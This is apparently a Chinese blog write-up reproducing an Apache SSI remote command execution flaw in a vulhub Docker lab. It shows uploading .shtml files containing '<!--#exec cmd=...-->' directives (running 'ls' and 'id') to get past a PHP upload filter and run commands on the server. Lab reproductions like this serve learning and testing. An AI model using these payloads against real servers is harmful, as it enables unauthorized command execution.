Apache SSI 远程命令执行漏洞复现

1. 漏洞简介

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。

使用SSI(Server Side Include)的html文件扩展名，SSI（Server Side Include)，通常称为"服务器端嵌入"或者叫"服务器端包含"，是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

2.搭建环境

使用kali搭建vulhub，完成漏洞复现

cd vulhub-master/httpd/ssi-rcedocker-compose up -d

环境启动后，访问http://your-ip:8080/upload.php，就可看到一个上传表单页面。

3.漏洞复现

正常上传PHP文件时不允许的，我们可以上传一个.shtml文件，test.shtml文件，内容如下：

<!--#exec cmd="ls" -->

成功上传，然后访问test.shtml，完整网站为：http://192.168.116.131:8080/test.shtml

再试试其他命令，上传test2.shtml，然后访问test2.shtml

<!--#exec cmd="id" -->

成功

参考链接：

Vulhub - Docker-Compose file for vulnerability environment

声明：

本文仅限于大家技术交流和学习，严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失，后果由您自行承担，感谢您的配合，

作者创作不容易，请大家点赞收藏支持一下。谢谢各位读者大老爷。